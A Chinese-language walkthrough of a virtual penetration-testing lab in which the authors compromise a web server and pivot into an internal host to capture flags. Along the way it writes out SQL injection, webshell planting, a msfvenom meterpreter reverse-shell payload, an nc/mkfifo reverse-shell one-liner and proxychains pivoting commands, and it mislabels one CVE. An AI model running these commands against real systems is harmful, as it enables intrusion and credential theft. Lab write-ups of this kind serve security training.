本教程所有环境都在虚拟环境当中,未造成任何损坏,技术仅供学习和交流,观看本教程所产生的任何违法行为与作者无关,请遵守《网络空间安全法》,共创和谐美好的网络环境。
1.靶场环境配置
需要添加一张新的网卡为vmnet19,配置网段为10.10.10.0/24,来对内网环境进行模拟,模拟外网环境则为vmnet1的网卡。Web服务器作为内外网的边界主机存在。
2.Web服务器渗透
对Web服务器进行渗透,第一步进行信息收集,用Kali中自带的Nmap工具对web服务器进行信息搜集
nmap -sP 192.168.0.0/24
进行同网段内的存活主机判断,主要是为了找到我们的目标,这里目标的IP为192.168.0.122
nmap -A 192.168.0.122 //使用具有攻击性的扫描方式
在未经授权的情况下使用扫描器收集网络信息是违法行为,在现实中不要轻易尝试
这里就是我们通过nmap扫描出来的信息了,可以看到web服务器暴露的端口和服务的信息,如果条件允许的话,我们可以对这些信息进行一个汇总,可以更方便的理清楚我们的渗透思路,使我们的渗透成功率提高。
看到开放了 21,80,888,3306,8888等端口
访问网页,得到的是一片空白的,因为我们本地的hosts文件没有配置完全
hosts文件在kali的etc目录下,修改完后就可以访问了
访问后的页面是这样的,这时可以使用dirb对网站进行后台文件爆破
dirb可以对网站的后台目录进行爆破,以便我们对网站的架构和开发语言有更多的了解,访问这里的页面大部分都会被重定向会主页面,但是robots协议是可以访问的,robots协议可以让我们看到更多的信息或者存在的网站后台的登录页面
这里就是对我们的robots协议进行访问的结果,这些页面都可以尝试访问一下,第一个admini就可能是网站的后台登录页面
这个可能就是网站的后台登录页面,一般来说可以尝试在网络上找到框架的开源代码,可能会有后台的默认的登录的账号密码 ,如果不行的话可以尝试弱口令和爆破的方式。这里尝试了几次都不行,就要考虑换其他的方法了,
这里的话我们尝试的sql注入的方式,在这个网站的search/index.php/kw=’是存在注入点的,可以尝试进行sql注入
在页面当中存在着回显,在找到注入点后我们也是直接用sqlmap来跑
这里也是成功的把数据库给爆出来了,后续的操作只需要修改命令后的参数就行了
这是表中所具有的字段,可以看到其中有一个名为pwd的字段,继续往下注入
在到这一步后,成功的获取了密码,看着像是md5加密的,解密试试
解密不出来,只能换一种方法了。在刚才对网站进行sql注入的时候,将数据的版本给暴露出来了。
服务器使用的数据库版本为5.6到5.7之间
在这个版本有一个高危漏洞可以被利用,MySQL客户端恶意文件读取漏洞(CVE-2018-12613)主要影响了MySQL 5.1.7到5.7.21之间的所有版本,那现在我们要尝试利用这个漏洞,对漏洞进行利用的第一步一般是找到可以使用的POC。
这是找到的POC,接下来要通过浏览器来执行命令
对POC进行针对性的修改
然后我们需要在浏览器上执行这一条命令
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.129&action=chkdb
这里的dbhosts需要改成自己kali的ip地址,现在让我们来试试
在shell中输入如下的命令
用浏览器来进行操作
反弹一个mysql.log文件
这里的文件中会有我们需要的账号和密码
用户名和密码DB_USER','www_ddd4_com' DB_PASSWORD','x4ix6ZrM7b8nFYHn',在得到我们需要的信息后,就可以尝试登录mysql,用kali远程登录mysql
登录成功,那这样我们就成功的进入到了网站的数据库中,接下来要对密码进行更新,换成我们自己的密码
在网上找到了网页的源代码,发现数据库的密码是被加密过的,我们需要用同样的方式加密我们的密码,然后把他替换到数据库中
这里我们编辑一个文件,用来加密我们的密码,我们的密码是123456
加密后的结果就是图中的这一长串,复制一下,到我们的数据库中更新
更新成功了,这样我们就把数据库的密码替换成了123456,然后用我们的新密码登录
这样我们就成功的登录到了我们的网站后台,在网站的模版管理模块
在网站的模版管理模块有网站的后台源代码,在源代码中写入一句话木马,然后用cknife来进行连接,菜刀也行,但是蚁剑不行,我这里用的是Cknife,链接成功,
在一次查看网页的源码时发现他对很多函数进行限制,这里我们上传两个脚本来突破他的限制,脚本可以去网上找。用浏览器来调用这两个脚本
http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
//测试用代码
http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod%20777%20shell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
//赋权代码
http://www.ddd4.com/bypass_disablefunc.php?cmd=./shell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
//执行代码
在浏览器中调用,先测试一下脚本能不能使用
在调用测试语句时,浏览器应该会显示网页服务器的id等信息
然后启动msf的木马生成模块,生成一个木马并上传
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.129 LPORT=4444 -f elf >
/home/kali/Desktop/shell
赋予木马文件执行权限
启动msf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.129
run
在启动msf后,在浏览器用执行语句执行我们刚刚的木马文件,在木马文件执行成功后就会返回meterpreter通道,如下图
进入shell,用python反弹通道
shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看当前用户
cat /etc/passwd | grep bash
这里可以看到当前存在的用户有哪些,先进入hosts
在hosts底下也是有我们的flag文件的,查看flag文件。
这里就是拿到我们的第一个flag
然后在拿到我们的第一个flag后,我们就要提权了,可以采用find提权
这里好像不是很成功的样子,那就尝试一下计划任务提权,在刚才的flag文件里面有一个bt.txt这里面存放着的是登录宝塔的账号密码
这里成功的找了我们宝塔的登录网址和账密,把ip换一下,就可以登录宝塔了
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i2>&1|nc 192.168.0.129 9001>/tmp/f
在msf中开启监听端口
计划任务提权后成功拿到了我们的root权限
在root.txt中成功找到了我们的第二个flag
在完成后我们利用我们的权限重新执行一下刚才的木马文件,然后重新监听,反弹回一个高权限的meterpreter通道
3.内网渗透
查看arp和网卡信息, 发现一个10.10.10.144的流量,说明存在有一台内网主机,
run get_local_subnets
run autoroute -s 10.10.10.0/24
对代理进行设置
代理设置成功,获取到服务器的shell
修改hosts文件,绑定域名,
proxychains4 nmap -sT -Pn -A 10.10.10.144
内网信息收集
发现80,8080,22端口开放
访问www.ddd5.com
登录网站的后台页面
登录后台网站,尝试弱口令密码:admin/123456
成功登录网站后台
这个网站采取的emlog的模版,有一个漏洞是,上传模版,自动的解压缩,我们可以利用这个将带有一句话木马的模版上传上去,来获取网站的webshell
去网上下载一个emlog模版,写一个木马文件并上传
上传成功后用哥斯拉进行链接
获取到虚拟终端
linux内网跨段提权,直接访问10.10.10.144的80端口
可以发现是一个wdcp的管理系统,查看一下暴露出来的内容信息,尝试登录后台管理员,错误,密码已经修改该过,不是默认的
直接进行访问,可以看到暴露出来的默认的账号密码和他有一个phpmyadmin的页面
访问8080端口
可以发现是一个wdcp的管理系统,查看一下暴露出来的内容信息,尝试登录后台管理员,错误,密码已经修改该过,不是默认的
尝试访问默认的phpmyadmin的目录,使用默认密码登录:root/wdlinux.cn,成功发现有两个可疑数据库,一个是wdcp管理系统的数据库信息、一个是网站管理的数据库信息,这里我们需要的是wdcp管理系统的用户信息、查看相应的数据表
找到用户密码是:17d03da6474ce8beb13b01e79f789e63,猜测是MD5加密
破解成功,获得登录密码。登录管理
登录超时,显示登陆超时,点击提交后立马弹窗登录超时、一般这种情况应该是目标机的时间不是北京时间、所导致的问题,所以到shell里查询时间和时区,时区正确但是时间不正确:
那这种情况下我们没有办法修改服务器的时间,那我们可以尝试修改本机的时间来与服务器时间一致,
用之前哥斯拉获取到webshell来获取服务器时间,修改时间后在进行登录
获取到第三个flag
本文由我和另一位同学共同完成